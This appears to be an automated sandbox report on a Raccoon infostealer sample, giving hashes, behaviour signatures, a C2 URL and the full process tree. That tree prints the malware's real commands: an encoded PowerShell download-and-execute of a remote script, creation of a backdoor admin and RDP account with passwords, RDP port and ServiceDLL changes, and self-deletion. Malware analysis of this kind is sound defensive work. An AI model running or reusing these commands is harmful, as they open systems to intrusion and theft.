Analysis

  • max time kernel
    60s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    04-06-2021 08:04

General

  • Target

    798f0fce3485b678647690e3fa01b6be.exe

  • Size

    567KB

  • MD5

    798f0fce3485b678647690e3fa01b6be

  • SHA1

    538cba8492b57c83bb21a28dc33cbcfd77058b01

  • SHA256

    8fa841c71a956755f6f393ca92a04d0a6950343a7a765a3035f4581dda198488

  • SHA512

    6ffaa58a03c159aecd3c86b9f1199a94c8b97dddfdf0eef1aaa528dba78b4ad8c66019bde1b2119e9cef961442e5ef3c2b95cb3b723829ba744de64b18404da9

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

89ac909b803bacbc6cc523520599c4b9c029b033

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\798f0fce3485b678647690e3fa01b6be.exe
    "C:\Users\Admin\AppData\Local\Temp\798f0fce3485b678647690e3fa01b6be.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2388
    • C:\Users\Admin\AppData\Local\Temp\XfkRrAZJGQ.exe
      "C:\Users\Admin\AppData\Local\Temp\XfkRrAZJGQ.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2152
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3820
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jacslsk4\jacslsk4.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2892
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6B81.tmp" "c:\Users\Admin\AppData\Local\Temp\jacslsk4\CSC78E3A215782F48DD9CB5172249BAE1F.TMP"
            5⤵
              PID:3732
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3748
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2704
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2304
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:1212
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:1120
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:4088
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2148
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:3784
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:744
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1592
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3152
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:752
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3548
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1492
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2284
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:2396
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:1120
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:2616
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\798f0fce3485b678647690e3fa01b6be.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3952
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:1380
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2616
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2728
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:796
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc b1mq90yo /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3948
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc b1mq90yo /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2148
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc b1mq90yo /add
                          3⤵
                            PID:2752
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3288
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:744
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:3784
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3212
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1772
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:3532
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1380
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:3764
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:3780
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc b1mq90yo
                                1⤵
                                  PID:3984
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc b1mq90yo
                                    2⤵
                                      PID:3324
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc b1mq90yo
                                        3⤵
                                          PID:3152
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:3216
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                            PID:1588
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:3948
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                                PID:3340
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              1⤵
                                                PID:3288
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  2⤵
                                                    PID:744
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                      3⤵
                                                      • Blocklisted process makes network request
                                                      • Drops file in Program Files directory
                                                      • Drops file in Windows directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3532
                                                • C:\Windows\System32\cmd.exe
                                                  cmd.exe /C net user wgautilacc 1234
                                                  1⤵
                                                    PID:1548
                                                    • C:\Windows\system32\net.exe
                                                      net user wgautilacc 1234
                                                      2⤵
                                                        PID:2624
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 user wgautilacc 1234
                                                          3⤵
                                                            PID:2116

                                                      Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • memory/2152-127-0x000001A5716B0000-0x000001A571AD1000-memory.dmp

                                                        Filesize

                                                        4.1MB

                                                      • memory/2152-130-0x000001A571273000-0x000001A571275000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2152-129-0x000001A571270000-0x000001A571272000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2152-132-0x000001A571276000-0x000001A571277000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2152-131-0x000001A571275000-0x000001A571276000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2304-218-0x000001B77DBE0000-0x000001B77DBE2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2304-220-0x000001B77DBE6000-0x000001B77DBE8000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2304-219-0x000001B77DBE3000-0x000001B77DBE5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2388-114-0x0000000000640000-0x00000000006D1000-memory.dmp

                                                        Filesize

                                                        580KB

                                                      • memory/2388-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                        Filesize

                                                        600KB

                                                      • memory/2704-217-0x0000020C98EE6000-0x0000020C98EE8000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2704-215-0x0000020C98EE3000-0x0000020C98EE5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2704-214-0x0000020C98EE0000-0x0000020C98EE2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3532-256-0x0000027EFA778000-0x0000027EFA779000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3532-253-0x0000027EFA770000-0x0000027EFA772000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3532-254-0x0000027EFA773000-0x0000027EFA775000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3532-255-0x0000027EFA776000-0x0000027EFA778000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3748-191-0x000001997EA33000-0x000001997EA35000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3748-210-0x000001997EA36000-0x000001997EA38000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3748-213-0x000001997EA38000-0x000001997EA3A000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3748-190-0x000001997EA30000-0x000001997EA32000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3820-149-0x000001E69FC23000-0x000001E69FC25000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3820-169-0x000001E6A0DA0000-0x000001E6A0DA1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3820-170-0x000001E6A1130000-0x000001E6A1131000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3820-162-0x000001E6A0950000-0x000001E6A0951000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3820-148-0x000001E69FC20000-0x000001E69FC22000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3820-139-0x000001E6A06F0000-0x000001E6A06F1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3820-144-0x000001E6A09A0000-0x000001E6A09A1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3820-164-0x000001E69FC26000-0x000001E69FC28000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3820-221-0x000001E69FC28000-0x000001E69FC29000-memory.dmp

                                                        Filesize

                                                        4KB